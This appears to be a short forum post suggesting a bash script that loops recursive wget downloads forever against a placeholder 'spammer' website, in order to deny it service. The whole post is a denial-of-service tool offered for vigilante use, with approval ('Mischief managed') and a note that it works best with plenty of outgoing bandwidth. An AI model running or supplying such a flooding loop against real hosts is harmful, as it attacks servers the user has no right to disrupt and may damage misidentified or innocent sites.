A person could do the same with a UNIX machine, GNU Wget, and GNU Bash.

Code:
 
#!/bin/bash
# script to deny service to spammer websites
while true; do
     wget -c -r --no-clobber --delete-after http://spammer.website.suffix-here/ 
done
Mischief managed, especially if you have a crapton of outgoing bandwidth. And they don't.